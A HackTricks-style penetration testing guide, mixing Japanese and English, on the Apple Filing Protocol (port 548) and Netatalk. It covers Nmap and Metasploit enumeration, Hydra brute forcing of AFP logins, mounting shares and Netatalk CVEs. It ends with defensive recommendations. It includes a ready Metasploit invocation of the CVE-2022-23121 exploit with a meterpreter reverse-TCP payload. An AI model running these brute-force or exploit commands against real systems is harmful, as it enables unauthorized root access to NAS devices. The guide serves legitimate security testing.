548 - Pentesting Apple Filing Protocol (AFP)

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

基本情報

The Apple Filing Protocol (AFP), once known as AppleTalk Filing Protocol, is a specialized network protocol included within Apple File Service (AFS). It is designed to provide file services for macOS and the classic Mac OS. AFP stands out for supporting Unicode file names, POSIX-style and ACL permissions, resource forks, named extended attributes and sophisticated file-locking mechanisms.

Although AFP has been superseded by SMB in modern macOS releases (SMB is the default since OS X 10.9), it is still encountered in:

  • レガシー macOS / Mac OS 9 環境
  • オープンソースの Netatalk デーモンを組み込んだ NAS アプライアンス (QNAP, Synology, Western Digital, TrueNAS…)
  • Time-Machine-over-AFP がまだ有効な複数 OS が混在するネットワーク

デフォルト TCP ポート: 548 (AFP over TCP / DSI)

PORT     STATE SERVICE
548/tcp  open  afp

Enumeration

簡易バナー / サーバー情報

# Metasploit auxiliary
use auxiliary/scanner/afp/afp_server_info
run RHOSTS=<IP>

# Nmap NSE
nmap -p 548 -sV --script "afp-* and not dos" <IP>

有用なAFP用NSEスクリプト:

Script説明
afp-ls利用可能なAFPボリュームとファイルを一覧表示
afp-bruteAFPログインに対するパスワード総当たり攻撃
afp-serverinfoサーバ名、マシンタイプ、AFPバージョン、サポートされているUAMsなどをダンプ
afp-showmountACLと共に共有を一覧表示
afp-path-vulnディレクトリトラバーサルを検出(および悪用可能)、CVE-2010-0533

より細かい制御が必要な場合、NSEの総当たりスクリプトはHydra/Medusaと組み合わせて使用できます:

hydra -L users.txt -P passwords.txt afp://<IP>

すでに認証情報を持っている場合、Nmap’s AFP scripts become much more usefulafp-serverinfoはadvertised UAMs (auth methods)をleaksし、afp-showmountafp-lsはreachable shares、ACLs、interesting filesを列挙できます:

nmap -p 548 --script afp-serverinfo,afp-showmount,afp-ls \
--script-args 'afp.username=<USER>,afp.password=<PASS>,ls.maxdepth=2,ls.maxfiles=50' <IP>
  • Machine Type: Netatalkafp-serverinfo の出力に表示されている場合、通常は Apple の AFP 実装ではなく NAS / Unix ホストであることを示します。
  • UAMs(例: DHX, DHX2, Cleartxt, Guest)は、到達可能なログイン経路やレガシー/弱い認証が有効かどうかを直接示唆します。
  • Share ACLsafp-showmount で確認してください; world-readable や drop-box style の共有は、ボリュームをマウントする前にバックアップ、.appl ファイル、ユーザーメタデータを露出することがよくあります。

Interacting with shares

macOS

# Finder → Go → "Connect to Server…"
# or from terminal
mkdir /Volumes/afp
mount_afp afp://USER:[email protected]/SHARE /Volumes/afp

Linux (afpfs-ng を使用 ‑ ほとんどの distros にパッケージされています)

apt install afpfs-ng
mkdir /mnt/afp
mount_afp afp://USER:[email protected]/SHARE /mnt/afp
# or interactive client
afp_client <IP>

Once mounted, remember that classic Mac resource-forks are stored as hidden ._* AppleDouble files – these often hold interesting metadata that DFIR tools miss.

Netatalk ターゲットでは、このメタデータのバックエンドが exploitability にも影響します:

  • ea = ad はメタデータが AppleDouble v2 ファイル / .AppleDouble ディレクトリに保存されることを意味します。
  • ea = sys または ea = samba はメタデータが代わりにファイルシステムの拡張属性に保存されることを示します。
  • Netatalk 4.2+ では古い appledouble オプションが削除され、バックエンドは ea オプションでのみ制御されます。

From an offensive perspective, this lets you quickly decide whether AppleDouble-oriented bugs are more likely to be reachable on the server.


共通の脆弱性と悪用

Netatalk 未認証 RCE チェーン (2022)

複数の NAS ベンダーが Netatalk ≤3.1.12 を出荷しました。parse_entries() の境界チェック欠如により攻撃者は悪意のある AppleDouble ヘッダを作成し、認証前に remote root を取得できます(CVSS 9.8 – CVE-2022-23121)。NCC Group による、Western-Digital PR4100 を悪用する PoC を含む詳細な解析が公開されています。

Metasploit (>= 6.3) はモジュール exploit/linux/netatalk/parse_entries を同梱しており、ペイロードを DSI WRITE 経由で送信します。

use exploit/linux/netatalk/parse_entries
set RHOSTS <IP>
set TARGET 0   # Automatic (Netatalk)
set PAYLOAD linux/x64/meterpreter_reverse_tcp
run

If the target runs an affected QNAP/Synology firmware, successful exploitation yields a shell as root.

Netatalk OpenSession ヒープオーバーフロー (2018)

古い Netatalk (3.0.0 - 3.1.11) は DSI OpenSession ハンドラの out-of-bounds write に対して脆弱で、認証なしでのコード実行を可能にします (CVE-2018-1160)。詳細な解析と PoC は Tenable Research によって公開されました。

Newer Netatalk attack surface (2022-2024)

最近の Netatalk 警告では、攻撃対象は parse_entries() と OpenSession ハンドリングに限定されないことが示されています:

  • CVE-2022-45188: a specially crafted .appl file can trigger a heap overflow in afp_getappl; this is especially relevant if you can write files into a share and the server runs FCE / notify features.
  • CVE-2023-42464: a type confusion bug in the Spotlight RPC handlers can become reachable when spotlight = yes is enabled in afp.conf (disabled by default).
  • CVE-2024-38439 / CVE-2024-38440 / CVE-2024-38441: one-byte heap out-of-bounds writes in login-related paths fixed in Netatalk 2.4.1 / 3.1.19 / 3.2.1. These bugs are interesting because exploitability depends on the configured UAMs:
    • uams_clrtxt.so + PAM-backed ClearTxt login exposes the FPLoginExt path relevant to CVE-2024-38439.
    • uams_dhx.so + PAM-backed DHX login reaches the vulnerable path for CVE-2024-38440.
    • uams_guest.so keeps the Guest login path reachable for CVE-2024-38441.

つまり afp-serverinfo の出力は単なるフィンガープリンティング情報ではなく、エクスプロイト開発や NAS ファームウェアのトリアージに時間を費やす前に、どの login parser が露出しているかを判断するのに役立ちます。

Other notable issues

  • CVE-2022-22995 – AppleDouble v2 が有効な場合にシンボリックリンクのリダイレクトにより任意ファイル書き込み / RCE を引き起こす(3.1.0 - 3.1.17)。
  • CVE-2010-0533 – Apple Mac OS X 10.6 AFP のディレクトリトラバーサル(afp-path-vuln.nse により検出)。
  • Multiple memory-safety bugs were fixed again during the 2024 Netatalk releases; if you identify Netatalk in afp-serverinfo, spend a minute correlating the exposed UAMs / Spotlight / metadata backend with the server version before assuming only the 2018/2022 bugs matter.

防御上の推奨事項

  1. Disable AFP — 厳密に必要でない限り、代わりに SMB3 または NFS を使用してください。
  2. AFP を継続する必要がある場合は、Netatalk を ≥ 3.1.18 または 4.x にアップグレードするか、2022/2023/2024 のパッチをバックポートしたベンダーのファームウェアを適用してください。
  3. Strong UAMs(例: DHX2)を適用し、クリアテキストおよびゲストログインを無効にしてください。
  4. TCP 548 を信頼できるサブネットに制限し、リモート公開する場合は AFP を VPN 内に格納してください。
  5. CI/CD 内で定期的に nmap -p 548 --script afp-* を実行して、不正 / ダウングレードされたアプライアンスを検出してください。

Brute-Force

References

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする